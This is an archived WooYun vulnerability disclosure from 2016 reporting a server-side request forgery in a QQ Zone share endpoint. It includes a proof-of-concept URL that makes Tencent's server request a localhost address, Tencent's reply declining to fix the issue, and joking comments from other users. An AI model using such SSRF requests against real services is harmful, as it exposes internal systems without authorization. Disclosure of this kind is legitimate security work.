破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

QQ空间某处SSRF

编号223955
Urlhttp://www.wooyun.org/bug.php?action=view&id=223955
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题QQ空间某处SSRF
漏洞类型设计缺陷/逻辑错误
厂商腾讯
白帽子包包
提交日期2016-06-28 15:32:00
公开日期2016-06-28 17:05:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank5
厂商评级
厂商评rank0
漏洞简介
qq空间的SSRF,只求5wb,能进zone里装逼
漏洞细节

问题在这里呀

ssrf.PNG


长话短说。
此时请求了这么个js文件。

http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshareget_urlinfo?fupdate=1&url=http://127.0.0.1:8081/&g_tk=2109654981


ssrf1.PNG


就这样。

POC

ssrf1.PNG

修复方案

过滤来源地址,我也不是很清楚到底该怎么去描述这个修复方法。看猪哥的,总没错。

状态信息 2016-06-28: 细节已通知厂商并且等待厂商处理中
2016-06-28: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复非常感谢您的报告。这个问题我们经过评估,目前该业务已有一些策略应对该问题,影响较为可控,故暂不作处理。如果您有任何的疑问,欢迎反馈,我们会有专人跟进处理。
回应信息危害等级:无影响厂商忽略忽略时间:2016-06-28 17:05
Showing 1-7 of 7 items.
评论内容评论人点赞数评论时间

看到it works!想起了一个段子http://wooyun.org/bugs/wooyun-2010-05962

spark_xl02016-06-28 17:09:00

@爱偷懒的98 @Raven @卖C4的小男孩 @sauce @小川 谢谢各位大佬的捧场,终于搞到了第一个腾讯的漏洞。

包包02016-06-28 16:37:00

装逼装到老马头上了还想混吗

爱偷懒的9802016-06-28 16:10:00

洞主快开门啊!你的礼物到了

Raven02016-06-28 15:40:00

以后你可以叫拿腾讯装逼的男人

卖C4的小男孩02016-06-28 15:36:00

以后你可以叫拿腾讯装逼的男人

sauce02016-06-28 15:35:00

以后你可以叫拿腾讯装逼的男人

小川02016-06-28 15:34:00